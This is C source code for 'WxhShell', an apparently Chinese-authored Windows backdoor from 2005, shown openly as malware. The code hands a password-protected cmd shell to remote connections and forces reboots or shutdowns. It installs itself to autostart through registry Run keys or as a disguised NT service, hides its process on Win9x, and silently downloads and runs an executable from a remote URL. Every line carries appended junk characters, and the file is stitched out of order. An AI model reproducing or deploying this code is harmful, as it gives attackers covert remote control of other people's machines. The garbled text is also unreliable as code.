    if(Boot(SHUTDOWN)) +{%)}?F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R^INl@(O  
    else { #K/95!)  
    closesocket(wsh); eEYz A  
    ExitThread(0); Fnd_\`9{  
    } %kP=VUXj  
    break; +.-mqtM  
    } ]UGk"s5A  
  // 获取shell h1$75E?,  
  case 's': { J"XZnb)E=  
    CmdShell(wsh); k/)h@K8@  
    closesocket(wsh); N_l_^yD  
    ExitThread(0); 5!Ovd O}g  
    break; YU\k D  
  } $KS!vS7  
  // 退出 qTG i9OP6/  
  case 'x': { gN]\#s@[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~9@83Cs2  
    CloseIt(wsh); q RRvZhf  
    break; r$Oa  
    } c IPOI'3d  
  // 离开 a.a ,_  
  case 'q': { ;R$2+9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ! %N@>[  
    closesocket(wsh); VL|Z+3L  
    WSACleanup(); bKEiS8x  
    exit(1); 9|m:2["|?  
    break; jVqpokWH  
        } COHook(:  
  } /-+hMYe  
  } 7j88^59  
thE9fr/  
  // 提示信息 d)d0,fi?-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v[)8 1uY  
} TYCjVxfu$  
  } 3u< ntx ><  
2q*wYuc  
  return; bHQ) :W  
} Ko|gH]B'  
pm[+xM9PB  
// shell模块句柄 @gw8r[  
int CmdShell(SOCKET sock) I__ a}|T%  
{ Y8N+v+V/  
STARTUPINFO si; FuG;$';H75  
ZeroMemory(&si,sizeof(si)); N*)O_Ki  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NCgKWyRR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,;f5OUl?[  
PROCESS_INFORMATION ProcessInfo; F^5\w-gLY  
char cmdline[]="cmd"; F3L+X5D.yu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LCuz_LTFq{  
  return 0; 2rb@Md]dx  
} =q*c}8R_0  
yet ~  
// 自身启动模式 yD@1H(yM  
int StartFromService(void) 69`*u<{PC  
{ Rr}m(e=  
typedef struct gMp' S  
{ oN`khS]_v0  
  DWORD ExitStatus;  R*r"};  
  DWORD PebBaseAddress; p6ryUJc6  
  DWORD AffinityMask; 45OAJ?N  
  DWORD BasePriority; nYe:$t3F=  
  ULONG UniqueProcessId; 9Q'[>P=1  
  ULONG InheritedFromUniqueProcessId; p1W6s0L  
}   PROCESS_BASIC_INFORMATION; M`E}1WNQ?]  
5Vai0Qfcu:  
PROCNTQSIP NtQueryInformationProcess; Z;njSw%:  
*,~L_)vWO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A2 $05a$%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <j3|Mh_(I  
eHR]qy 0_X  
  HANDLE             hProcess; A4rkwM  
  PROCESS_BASIC_INFORMATION pbi; u'T-}95 V  
gdq6jz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }_('3C,Ba  
  if(NULL == hInst ) return 0; &(e5*Q  
cwzgIm+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /rky  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :zNNtv iA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9'@G7*Yn  
G&YcXyH  
  if (!NtQueryInformationProcess) return 0; +r&:c[  
/y6I I$AvM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f .$*9Fkw  
  if(!hProcess) return 0; ZB} A^X  
%jHe_8=o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1U?5/Ja  
H!>>|6OPF  
  CloseHandle(hProcess); v["_t/_  
!~V^GlY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h4+*ssnYV  
if(hProcess==NULL) return 0; %0Qq~J@Lu  
e1%kW1Z9  
HMODULE hMod; %?Q&a ]  
char procName[255]; 6ud<U#\b&  
unsigned long cbNeeded; $\|Q+7lQ  
?[P>2oz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oB~V~c}8x  
@;N(3| n7  
  CloseHandle(hProcess); i% , 't  
xLfv:Rp  
if(strstr(procName,"services")) return 1; // 以服务启动 K\59vtga  
R1eWPtWs  
  return 0; // 注册表启动 z^s\&gix  
} USS%T<Vk  
@th94tk,  
// 主模块 :8HVq*itS  
int StartWxhshell(LPSTR lpCmdLine) {m@tt{%  
{ o8v,17 8  
  SOCKET wsl; |~PaCw8-ge  
BOOL val=TRUE;  nF<xJs  
  int port=0; \Hf/8!q  
  struct sockaddr_in door; `uZMln @  
f1;@a>X  
  if(wscfg.ws_autoins) Install(); OiS\tK?|GV  
Rjv;[  
port=atoi(lpCmdLine); 4O/IT1+A  
oZ^,*  
if(port<=0) port=wscfg.ws_port; ect$g#  
`S.I,<&  
  WSADATA data; B2a#:E,6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Ov1eQBNG  
!l Egta[Ql  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F ^aD#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tku6X/LF  
  door.sin_family = AF_INET; g"(@+\XZH"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =\oL'>q  
  door.sin_port = htons(port); #dD0vYT&od  
~*9Ue@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hJD3G |E  
closesocket(wsl); o)]O  
return 1; B2'TRXIm1U  
} #TC}paIpj  
y)a)VvU":  
  if(listen(wsl,2) == INVALID_SOCKET) { &U7h9o H  
closesocket(wsl); MvnQUZ  
return 1; = ^Vp \  
} 6(uZn=  
  Wxhshell(wsl); wG9aX*(n  
  WSACleanup(); 9qgs*]J  
`@v;QLD"d<  
return 0; 4>a(!h t  
"tK|/R+  
} %>6ilG Q+  
e-[PuJ  
// 以NT服务方式启动 SynRi/BRmw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3HW&\:q5'M  
{ DHv86TvJt  
DWORD   status = 0; 9+xO2n  
  DWORD   specificError = 0xfffffff; VJFFH\!`  
r| )45@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^FkB/j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~P"Agpx3u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RA;/ ?l  
  serviceStatus.dwWin32ExitCode     = 0; -sZb+2tDa  
  serviceStatus.dwServiceSpecificExitCode = 0; Li"+`  
  serviceStatus.dwCheckPoint       = 0; W&&|T;P<J  
  serviceStatus.dwWaitHint       = 0; 8lGM>(:o  
';My"/ Z-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +6 =lN[b  
  if (hServiceStatusHandle==0) return; mfS}+_ C  
KfYU.Q  
status = GetLastError(); CV_M |  
  if (status!=NO_ERROR)  OK8Ho"  
{ cofdDHXfQI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NO@`*:.^Y  
    serviceStatus.dwCheckPoint       = 0; tf|;'Nc6  
    serviceStatus.dwWaitHint       = 0; t|h c`|  
    serviceStatus.dwWin32ExitCode     = status; Zq<j}vVJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0a^bAEP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |WEl5bNc3  
    return; X!mJUDzh]  
  } u[Si=)`VPk  
`JpFqZ'58  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6vR6=@(`>  
  serviceStatus.dwCheckPoint       = 0; }qhYHC  
  serviceStatus.dwWaitHint       = 0; {"%a-*@%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kh:_,g  
} Lo#G. s|  
c@"FV,L>  
// 处理NT服务事件,比如:启动、停止 4,Oa(b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <\O8D0.d  
{ $eG_LY 1v  
switch(fdwControl) G5K?Q+n   
{ "bF52lLu  
case SERVICE_CONTROL_STOP: QKB+mjMH#x  
  serviceStatus.dwWin32ExitCode = 0; v'b%m8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N3aqNRwlk  
  serviceStatus.dwCheckPoint   = 0; @ =~k[o  
  serviceStatus.dwWaitHint     = 0; .`5|NUhN  
  { U B~ -$\.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9__B!vw:  
  } 79@CO6  
  return; B{D4.!a  
case SERVICE_CONTROL_PAUSE: a:`<=^:4,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -,T!/E  
  break; V,0$mBYa  
case SERVICE_CONTROL_CONTINUE: Wf"GA i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OKK Ko`RN  
  break; sQkijo.  
case SERVICE_CONTROL_INTERROGATE: s-+-?$K  
  break; C.ji]P#  
}; H!u8+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [fV"tf;  
} M j6,VD9L  
(a8iCci:   
// 标准应用程序主函数 2[uFAgf@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W Zm8!Y  
{ czpu^BT;;T  
}2"W0ZdWD  
// 获取操作系统版本 R=D}([pi  
OsIsNt=GetOsVer(); oH?:(S(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u)I\R\N  
PpBptsb^|J  
  // 从命令行安装 EPH" 5$8  
  if(strpbrk(lpCmdLine,"iI")) Install(); P5 oS 1iu*  
#$-?[c$>  
  // 下载执行文件 oYTLC@98}  
if(wscfg.ws_downexe) { ~%g,Uypi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,d38TN  
  WinExec(wscfg.ws_filenam,SW_HIDE); zIu/!aw  
} * jWh4F,  
f$kbb 6juL  
if(!OsIsNt) { G'#u!<(^h  
// 如果时win9x,隐藏进程并且设置为注册表启动 fRLA;1va  
HideProc(); zhd1)lgY  
StartWxhshell(lpCmdLine); 3*2~#dh=  
} :r hB=  
else <I tS_/z  
  if(StartFromService()) f_[dFKoX  
  // 以服务方式启动 u/6if9B  
  StartServiceCtrlDispatcher(DispatchTable); 9N)I\lcY  
else Qkx*T9W   
  // 普通方式启动 yq k8)\p  
  StartWxhshell(lpCmdLine); F0z7".)  
.'_}:~  
return 0; : slO0  
} 9?hZf$z  
jS[=Zx`  
Nr `R3(X  
LO)!Fj4|  
=========================================== Y z&!0Hfd  
5$'[R ;r  
tzGQo5\  
`4'=&c9  
R2a99#J  
iz^uj  
" -V}xvSVg  
Kc2y  
#include <stdio.h> gDLS)4^w  
#include <string.h> EJTM >Rpor  
#include <windows.h> nb=mY&q}~  
#include <winsock2.h> 6)*fr'P  
#include <winsvc.h> .!0Rh9yyl  
#include <urlmon.h> 9?O8j1F  
4s9@4  
#pragma comment (lib, "Ws2_32.lib") so$(-4(E O  
#pragma comment (lib, "urlmon.lib") {R(CGrI  
{cOx0=  
#define MAX_USER   100 // 最大客户端连接数 7`t"fS  
#define BUF_SOCK   200 // sock buffer >| ,`E  
#define KEY_BUFF   255 // 输入 buffer _v0iH   
E]/2 u3p  
#define REBOOT     0   // 重启 .x,y[/[[)  
#define SHUTDOWN   1   // 关机 OzrIiahz/  
u%z'.#r;a  
#define DEF_PORT   5000 // 监听端口 (XmmbAbVom  
MooH`2Fd  
#define REG_LEN     16   // 注册表键长度 6A]I" E]5  
#define SVC_LEN     80   // NT服务名长度 6P717[  
DMG'8\5C  
// 从dll定义API .Vnb+o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 xbWDu]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K'J_AMBL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l+P!I{n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b)KEB9w  
`MPR-"Z6  
// wxhshell配置信息 k &J;,)V  
struct WSCFG { JfWkg`LqL  
  int ws_port;         // 监听端口 axvZA:l  
  char ws_passstr[REG_LEN]; // 口令 ph6'(,  
  int ws_autoins;       // 安装标记, 1=yes 0=no Oj_]`  
  char ws_regname[REG_LEN]; // 注册表键名 qna!j|90Lp  
  char ws_svcname[REG_LEN]; // 服务名 )M+po-6$1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {!wW,3|Pu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HYGd :SeH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p:y\{k"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =O0A(ca"g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vlz\n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RVwS<g)~1  
EMO {u  
}; N6-7RoA+  
sU&v B:]~  
// default Wxhshell configuration DoQ^caa@  
struct WSCFG wscfg={DEF_PORT, ;6pB7N  
    "xuhuanlingzhe", ):>?N`{V  
    1, k6ry"W3  
    "Wxhshell", YAT@xZs-  
    "Wxhshell", 7,p.M)t)  
            "WxhShell Service", ^Z9bA(w8  
    "Wrsky Windows CmdShell Service", Lr:n  
    "Please Input Your Password: ", B//*hH >F  
  1, z/4<x?}+hE  
  "http://www.wrsky.com/wxhshell.exe", Uvm.|p_V  
  "Wxhshell.exe" I@Hx LEGj  
    }; iu8Q &Us0P  
96~y\X@x  
// 消息定义模块 LJPJENtFIs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "z Y~*3d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (BPp2^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZwsQ}5  
char *msg_ws_ext="\n\rExit."; `9[n5-t  
char *msg_ws_end="\n\rQuit."; B3&C&o.h  
char *msg_ws_boot="\n\rReboot..."; ddKP3}  
char *msg_ws_poff="\n\rShutdown..."; BT8)t.+pv  
char *msg_ws_down="\n\rSave to "; :s_.K'4?a  
: H;S"D  
char *msg_ws_err="\n\rErr!"; iE"]S )  
char *msg_ws_ok="\n\rOK!"; ;y\/7E  
) u{ ]rb[  
char ExeFile[MAX_PATH]; |=YK2};  
int nUser = 0; vi^YtA  
HANDLE handles[MAX_USER]; _";w*lg}  
int OsIsNt; rrRv 7J&Q  
5?`4qSUz  
SERVICE_STATUS       serviceStatus; V? tH/P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LJ@(jO{z  
+`Q]p" G  
// 函数声明 "Tser*i )  
int Install(void); 2@Yu: |d4U  
int Uninstall(void); >v@3]a i  
int DownloadFile(char *sURL, SOCKET wsh); 1T|")D  
int Boot(int flag); `B3-#!2X  
void HideProc(void); Izu____  
int GetOsVer(void); 4w ,&#L  
int Wxhshell(SOCKET wsl); w%qnH e9  
void TalkWithClient(void *cs); X:Wd%CHP  
int CmdShell(SOCKET sock); v.8kGF  
int StartFromService(void); n4dNGp7\`  
int StartWxhshell(LPSTR lpCmdLine); H}~K51  
*Oy* \cX2[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0;><@{'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Za!KM  
`mteU"{bx  
// 数据结构和表定义 +ho=0 >  
SERVICE_TABLE_ENTRY DispatchTable[] = Mo N/?VA  
{ W3!-;l  
{wscfg.ws_svcname, NTServiceMain}, cKkH*0B5  
{NULL, NULL} ~L<"]V+B  
}; d'MZ%.#  
QObVJg,GD  
// 自我安装 02[m{a-  
int Install(void) Q?1.GuF  
{ a_}C*+D  
  char svExeFile[MAX_PATH]; \K\eq>@6  
  HKEY key; R7(XDX=[ s  
  strcpy(svExeFile,ExeFile); &PV%=/ -J  
 N#9N ^#1  
// 如果是win9x系统,修改注册表设为自启动 a+lNXlh=  
if(!OsIsNt) { %$zak@3%'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;5X~"#%U_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AFL'Ox]0  
  RegCloseKey(key); ]>[TF'pIAx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x1g-@{8]j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -j<E_!t  
  RegCloseKey(key); s) s9Z,HY  
  return 0; uVD^X*  
    } qB_s<cpn>  
  } ~ i+XVo  
} f9#srIx+  
else { {'+{ASpO!  
`+< ^Svou  
// 如果是NT以上系统,安装为系统服务 >2>/ q?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HN`qMGW^  
if (schSCManager!=0) Conik`  
{ =\2gnk~  
  SC_HANDLE schService = CreateService am? k  
  (  tM\BO0  
  schSCManager, =PA?6Bm  
  wscfg.ws_svcname, t|oIzjKE/  
  wscfg.ws_svcdisp, hzqgsmT)  
  SERVICE_ALL_ACCESS, m,kYE9 {  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p+?`ru  
  SERVICE_AUTO_START, l:@=9Fp>  
  SERVICE_ERROR_NORMAL, g,iW^M  
  svExeFile, ,rN$ah$CL  
  NULL, _Cz98VqRk  
  NULL, ~v\ W[  
  NULL, zMpvS rc  
  NULL, t=}]4&Yp  
  NULL rZ(#t{]=!  
  ); .zdaY, U  
  if (schService!=0) ,S d j"C  
  { 6e\?%,H  
  CloseServiceHandle(schService); L7 <30"7  
  CloseServiceHandle(schSCManager); `-U?{U}H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6B@e[VtG$  
  strcat(svExeFile,wscfg.ws_svcname); YBj*c$.D0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  yI|x 5f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F;`c0ja]  
  RegCloseKey(key); HFjSM~  
  return 0; 8*b{8%<K  
    } T&/ n.-@nk  
  } cz/ E  
  CloseServiceHandle(schSCManager); Q{S{|.w-  
}  $L uU  
} xPm{'J+b~  
}XUI1H]jk  
return 1; e^@ZN9qQ  
} Bt")RG  
pe,y'w{  
// 自我卸载 & .1-6  
int Uninstall(void) S)ipkuj X  
{ CzreX3i  
  HKEY key; "@VYJ7.1  
cX1?4e8  
if(!OsIsNt) { .'66]QW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I__b$  
  RegDeleteValue(key,wscfg.ws_regname); TT(R<hL  
  RegCloseKey(key); PJm@fK(j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a,4GE'  
  RegDeleteValue(key,wscfg.ws_regname); Zp[>[1@+  
  RegCloseKey(key); Ii}{{1N6  
  return 0; go=xx.WJ  
  } yR{rje*  
} ))dqC l  
} '$p`3Oqi  
else { 56kqG}mg&  
iu<Tv,{8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m#[c]v{  
if (schSCManager!=0) LrO[l0#'Q  
{ 8q]"CFpa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +<@1)qZ(E  
  if (schService!=0) O\cc=7  
  { `2+TN  
  if(DeleteService(schService)!=0) { 32 j){[PL3  
  CloseServiceHandle(schService); 0 5?`W&:9  
  CloseServiceHandle(schSCManager); /YPG_,lRA  
  return 0; D0bpD  
  } ]Q.S Is  
  CloseServiceHandle(schService); Sru0j/|H\  
  } *^{j!U37s  
  CloseServiceHandle(schSCManager); ,if~%'9j  
} F ]D^e{y  
} 73!NoDxb  
CTg79 ITYk  
return 1; l{3zlXk3z  
} n?6^j8i  
_?felxG[  
// 从指定url下载文件 %LHt{:9.  
int DownloadFile(char *sURL, SOCKET wsh) njJTEUd">  
{ 7Cz=;  
  HRESULT hr; d^~yUk  
char seps[]= "/"; #sF#<nHZ  
char *token; 4@F8-V3q4  
char *file; /160pl 4  
char myURL[MAX_PATH]; EGv]K|  
char myFILE[MAX_PATH]; )!VJ\  
$ SA @ "  
strcpy(myURL,sURL); f$}g'r zl  
  token=strtok(myURL,seps); KMfIp:~  
  while(token!=NULL) 4Hyp]07  
  {  )D+eWo  
    file=token; =s:kC`O  
  token=strtok(NULL,seps); e)-$ #qW  
  } [-W~o.`  
6&~Z3|<e  
GetCurrentDirectory(MAX_PATH,myFILE); M/F <W!  
strcat(myFILE, "\\"); 'Q]Wk75  
strcat(myFILE, file); d7g$9&/q  
  send(wsh,myFILE,strlen(myFILE),0); 46l*ui_  
send(wsh,"...",3,0); gL| 9hvHr[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 01 +#2~S  
  if(hr==S_OK) 8(NS;?  
return 0; =kq<J-:#R  
else beYGP  
return 1; wS$ 'gKA6  
{Eo Z }I  
} )9/iH(  
%( %EEt  
// 系统电源模块 ]{|l4e4P  
int Boot(int flag) w0=/V[fs  
{ \zA3H$Df~  
  HANDLE hToken; g=v'[JPd  
  TOKEN_PRIVILEGES tkp; -; d{}F  
96!2 @c{  
  if(OsIsNt) { XF3lS#pt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tycVcr \(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 Cz}|#U  
    tkp.PrivilegeCount = 1; eUu<q/FUMj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~(c<M>Q8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :SMf (E 5  
if(flag==REBOOT) { 1z,P"?Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Um-Xb'R*]V  
  return 0; =NK'xPr  
} &jnBDr  
else { P()&?C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rnMi >?  
  return 0; n sN n>{  
} a|dgK+[  
  } VyIJ)F.c  
  else { K-.%1d@$y  
if(flag==REBOOT) { Q0 ezeo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0iMfyW:  
  return 0; C^]UK  
} PK{FQ3b2{  
else { HDE5Mg "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]d|M@v~c4  
  return 0; 1!+0]_8K  
} 3$_- 0>  
} #w^Ot*{!N  
_-v$fDrz  
return 1;  SBi4i;qD  
} :< ]sJf N  
u1z!OofN>  
// win9x进程隐藏模块 i3(5 '  
void HideProc(void) Z]Z&PbP  
{ \`/ P*  
G%jV}7h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X2np.9hie  
  if ( hKernel != NULL ) /bC@^Y&}  
  { ja{x}n*5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }Vm'0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g+&wgyq5  
    FreeLibrary(hKernel); "KC3+:tm  
  } B.b sU  
=(,kjw88w  
return; ST0|2)Lh"  
} iP^[xB~v  
%N7G>_+  
// 获取操作系统版本 ady SwB  
int GetOsVer(void) &MrG ,/  
{ PUd/|Rc/}  
  OSVERSIONINFO winfo; u VUrg;>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5!6iAS+I  
  GetVersionEx(&winfo); _|{pO7x]oG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !D 'A  
  return 1; S->Sp  
  else 5VN~?#K  
  return 0; NfCo)C-t  
} O]25 {L  
I|/|\  
// 客户端句柄模块 eNFA.*p<  
int Wxhshell(SOCKET wsl) WL\*g] K4  
{ ej(w{vl  
  SOCKET wsh; vL;=qk TCQ  
  struct sockaddr_in client; z3fU|*_c  
  DWORD myID; TPZ^hL>ao  
4]cr1K ^  
  while(nUser<MAX_USER) D_w<igu!3  
{ `V[ hE r|  
  int nSize=sizeof(client); q^[SN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0|rdI,z  
  if(wsh==INVALID_SOCKET) return 1; IPY[x|  
q6 4bP4K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bh5C  
if(handles[nUser]==0) y<yU5  
  closesocket(wsh); AX{yfL  
else Ojp|/yd^YL  
  nUser++; iA"H*0  
  } /'>ck2drjk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U}-hV@y  
eoiC.$~\  
  return 0; /cD]m  
} w*4sT+ P  
sR$/z9w  
// 关闭 socket aU] nh. a  
void CloseIt(SOCKET wsh) c 8|&Q  
{ 0gKSjTqo  
closesocket(wsh); ~Z97L  
nUser--; R"71)ob4  
ExitThread(0); vrsOA@ee3H  
} pD6a+B\;k  
'&y+,2?;Y[  
// 客户端请求句柄 rAu@`H?  
void TalkWithClient(void *cs) \#'m([<e  
{ hl+ T  
1~*JenV-  
  SOCKET wsh=(SOCKET)cs; %bTXu1  
  char pwd[SVC_LEN]; *&F~<HC2+  
  char cmd[KEY_BUFF]; w 1O)  
char chr[1]; yjChnp Cc  
int i,j; zhACNz4tJ  
7(zY:9|(  
  while (nUser < MAX_USER) { SciEHI#  
"3a_C,\  
if(wscfg.ws_passstr) { VZU@G)rd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wOl]N2<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iM{aRFL  
  //ZeroMemory(pwd,KEY_BUFF); h{VGh kU9f  
      i=0; pW2-RHGJY  
  while(i<SVC_LEN) { \XG\  
u|&a!tOf2  
  // 设置超时 !2=eau^p  
  fd_set FdRead; .iEzEmu  
  struct timeval TimeOut; Io)@u~yz  
  FD_ZERO(&FdRead); g _u  
  FD_SET(wsh,&FdRead); 8.D9OpU  
  TimeOut.tv_sec=8; J|o )c~  
  TimeOut.tv_usec=0; R<8!lQ4s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (w, Gv-S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h4? 'd+K  
6\/(TW&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &28%~&L  
  pwd=chr[0]; ^@xn3zJ  
  if(chr[0]==0xd || chr[0]==0xa) { 9iOTT%pq  
  pwd=0; j1P#({z[  
  break; 7cT ~u  
  } _O>8jH!#  
  i++; dmE.yVI"O  
    } ?(j:F2dU~  
r(/+- t  
  // 如果是非法用户,关闭 socket Lc13PTz>>g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oyo V1jO  
} Z|$OPMLX  
}JBLzk5|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {o.i\"x;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +# tmsv]2  
VH$hQPP5d  
while(1) { ]s:%joj%^  
#vvQ 1ub  
  ZeroMemory(cmd,KEY_BUFF); ;*8,PV0b_<  
Q.L.B7'e7  
      // 自动支持客户端 telnet标准   z] teQaUZ  
  j=0; R9lb<`  
  while(j<KEY_BUFF) { Z\*jt B:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c o%-d  
  cmd[j]=chr[0]; 6"Rw&3D?  
  if(chr[0]==0xa || chr[0]==0xd) { +d,Z_ 6F  
  cmd[j]=0; 0N>R!  
  break; l)( 3]  
  } A<s9c=d6  
  j++; qCgoB 0  
    } SpX6PwM  
qFYM2  
  // 下载文件 L)j<;{J/Q0  
  if(strstr(cmd,"http://")) { Mi&jl_&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TbA=bkj[4  
  if(DownloadFile(cmd,wsh)) \ POQeZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X=i",5;  
  else ]B r 6!U4~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YhNO{4D  
  } |(\T;~7'  
  else { ae|j#!~oi  
K/ 5U;oC  
    switch(cmd[0]) { 1=Nh<FuQ  
  ct![eWsuB  
